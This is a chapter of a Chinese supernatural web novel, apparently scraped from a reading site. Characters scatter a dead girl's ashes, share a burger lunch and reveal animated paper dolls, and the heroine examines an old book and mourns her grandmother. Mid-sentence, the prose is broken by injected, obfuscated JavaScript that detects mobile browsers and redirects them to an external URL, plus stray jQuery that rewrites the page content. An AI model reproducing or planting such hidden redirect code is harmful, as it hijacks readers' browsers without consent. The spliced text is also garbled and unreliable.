人死后会去哪?
不知道。
只知道余米米的骨灰,要下海了。
余米米父母火化了余米米,却一直没去领骨灰。警察联系到ECS,周野不知从哪弄来一份代理书,把骨灰领了出来。
兜兜转转,无论是壳还是魂,最后都落到黄灿喜手里。
她捧着骨灰盒,看着周野在悬崖边点燃一张黄纸。火苗舔着纸面,灰屑被风卷走,化成细丝消失在海天之间。
“这要是我啊,”东东在旁边说,“走之前怎么都得带上那冤鬼爸妈。”
海风一阵凉,黄灿喜咧了下嘴角,没笑出来。
电话响了。
她递过骨灰盒:“帮我拿会儿。”
屏幕上的号码像催命符,让她眉头跳了一下,转了两个弯,才敢接通电话。
“我都说了,我们去云南只是玩。”她压低声音,“你问也没用,我真没什么可说的。”
“黄灿喜,反了你啊。”那人的笑在电话那头飘着,“班不上,工资我还照发,结果你在外面摸鱼。算了,大人有大量,我送你条消息。”
“什么消息?”
“余米米的骨灰是不是没人领?那大概永远没人会领了。”
“我外国的报社朋友刚告诉我。她爸妈在国外旅游的时候,不小心掉进井里,被发现时已经死了十六天。诡异的是,他们死的时候,姿势是蜷缩的,脸上还笑着。”
“十六天”这仨字被海风灌进脑子里,凉得有点上头。
她蹲在草丛里,捋平了表情后,才回到悬崖边。
周野正把骨灰骨碎倒向大海,一瞬间,那层灰像轻纱般飘散,干干净净地消失在风里。
余米米的身影越来越淡,最终像一缕雾,浅浅地在空中散尽。
海浪在下面拍岸,像拍巴掌,又像在笑。
或许对余米米来说,这是一种迟来的逃跑。
生时没能逃成,死后,顺带把枷锁也踢下去了。
——余米米,
祝你投个好人家。
……
…
中午吃塔斯汀,是黄灿喜提议的。
失踪半个月的周老板买单,是东东怂恿的。
东东和黄灿喜像两只嗡嗡乱飞的蚊子,围着周野转圈哄人,甜言蜜语叠加输出,让周野连个过分的话都说不出口。
闹够了,黄灿喜说:“你们先去,我放个外套。”
东东也正好要去拿东西,于是四人一鬼分成两路,在塔斯汀汇合。
黄灿喜刚走到车旁,余光透过玻璃,瞥见里面“唰”地动了一下。
她脚下立刻刹车。
东东见状也收脚,“怎么了?”
黄灿喜盯着车窗,压低声音:“我一直想问,公司就五个人,那天余米米的房间半小时内收得七七八八,谁干的?
还有,平时办公室卫生谁做的,快递谁搬的?”
答案只有一个。
“整理所还有别的鬼?!”
东东:“……”
他走过去拉开车门,探头说了几句。
然后有两东西从车玻璃下缓缓探出头。
——是金童玉女纸人一对。
还会动。
黄灿喜眯起眼,想离职。
东东笑得眼泪都挤出来了,“你说的是他们吧?不是鬼,是我做的纸人。来,叫灿喜姐姐。”
男童眉如墨画,眼亮似灯泡;女童脸泛桃红,唇红似烈焰。
俩纸人一左一右抱住东东的腿,活像过年被家长拎出来表演才艺的倒霉娃。
黄灿喜惊讶东东竟还有这手艺,怪不得办公室的纸人总是出现在奇怪的地方。
“你的画风……很有个人的见解之处。”
“周老板挑的。”东东连忙澄清,还不忘捂着两纸人的耳朵。
黄灿喜有以下几点要说:“……”
“我本来想画新八唧和神乐的”他说着,神情有点哀伤,显然他也不是很能理解甲方的审美。
黄灿喜却一愣,上下打量他潮到风湿的穿搭。
“你也看动画片?”
“你也看番?”
东东同样惊呼,他闻不出她身上的同类气息,犹豫开口,“你看什么?”
“柯南,海贼王,火影忍者。”
“哇啊——!!”
……
四人在塔斯汀汇合,空调的噪音大过凉气,位置小得要命,一张长方形的桌子下,六条长腿别扭的拐着,谁都不想碰谁。
但毕竟是黄灿喜挑的,大家也没意见,反正吃啥都一样。
汉堡上桌,黄灿喜却心不在焉,东东叫了好几声才抬头。
她啃着汉堡,余光瞥了周野一眼,见他气色好了些,不像从哀牢山出来时那样白得透明。
她大概猜得到原因,可脑子里还是回荡着那句话:
“外人进山要守山规,打扰了会遭反噬。”
而“反噬”这个词,她在写余米米报告的时候也见过,却没想到那夫妇二人会在国外意外死亡。
蜷缩着、笑着,死了整整十六天才被发现。
如果人鬼能共存,那谁来决定反噬的标准?
那股反噬的力量,又是从哪儿生出来的?
黄灿喜眼巴巴地看着周野,啃了一口汉堡,塞在腮帮子里,嘴皮子一动,关心起来,“你怎么前几天看起来好虚的样子?”
全桌的男人都沉默了。
“你看起来很实。”周野干巴巴地回。
黄灿喜嘿嘿一笑,放下汉堡,露出肱二头肌:“全国青少年泰拳锦标赛广东赛区第一名,四连冠。”
“后来被禁赛才没拿成五年,成了我人生一大遗憾。”
“奖金有八千块呢。那一年差点学费都没能凑上。”
全桌再次沉默。
安静之中,周野的手机突然响起超级大声的
【收款码到帐——
一(停顿)百(停顿)万(停顿)元】
黄灿喜:“……”
她眉毛拧成个倒八,迷茫地盯着周野,后者却躲开了视线。
她低头,默默放下肱二头肌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223979|181658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,颤抖地握起塔斯汀汉堡,含着泪咬了一大口。心想下次怎么也得狠狠宰周野一顿。
——至少要让他请肯德基。
堡一吃完,几人纷纷鸟散各做各的事。不过谁也没回办公室。正如东东说的,那地方大多数时候都空着。
黄灿喜家在老城区,外表只是栋两层半的自建房,水泥墙灰扑扑的,没什么特别。
回到家,她径直走到一楼某间房门前,敲了几下。
没人应。
“奇怪……”她皱了皱眉。
何伯很少这样出门一个月都不回。
她从小住在何伯家,上大学搬走后,何伯像是被野性唤醒,把泰拳馆一关,报了个游山玩水的组织,隔三差五就不见人影。
可这一次,离开得有些久了。
她叹了口气,本来还想着要逮着人问点事的。
抬脚上了对面楼梯,拐进地下室。
门轴有些老旧,推开时发出一声“咿呀”,空气中涌来纸张与旧木混合的味道。
墙边一排排书架并肩挤满了书,厚薄不一的书脊露出斑驳的纸色,有的还用布条包着。
靠近时,那股带着时间气息的怪味更浓。
她熟门熟路地走到靠里的书架,从一堆书中抽出一本硬壳古籍,翻到中间一页,将手里的瓦片放上去比对,形状与书页插图一模一样。
这是她在达斯木寨老树下挖出来的东西。第一眼见到时,她就认了出来,因为何伯房间柜子里,也有一片几乎一模一样的瓦片。形状像某种拼图,似乎需要收集多块才能拼成完整的图案。
只是书里并没说明它的来历,她也没机会去找何伯确认。
何伯不过是一名普通的泰拳教练,然而这些书怎么看都不只是单凭热爱能收集来,有一些更是手写的孤本,手一触上就能摸到一些土沙和干燥的苔藓粉,凑近一听,书本像在呼吸。
小时候她嫌何伯的书全是民俗怪谈,没一本《十万个为什么》能帮她去学校交差。
如今再看,这些书的出现像是命中注定般,将她引向另一个世界。
让人不由得生出几分难以言说的心情。
她的指尖在书脊上轻轻滑过,抬头望向角落里的那个身影,忽然想起今天的日期。
趁雨停,她出门去隔壁的711买了块小蛋糕,选了个不起眼的角落坐下。
晚上过了高峰期后的便利店人不多,没人注意到她。
她给蛋糕点上小蜡烛,望着手机发了会儿呆,余光却落在玻璃上映出的自己与摇曳火光的影子上。
趁背后空无一人,她小声开口:
“奶奶,祝你生日快乐。”
明明无风,蜡烛却“啪嚓”一声灭了,只剩一缕白烟,在暖色灯光下缓缓升起。
——《孝童坛》完——
·
·
·
下一站:保定米北庄村-《纸人昏村》
周野:“你知道哪里的纸片人最多吗?”
东东:“动漫星城。”
周野/黄灿喜:?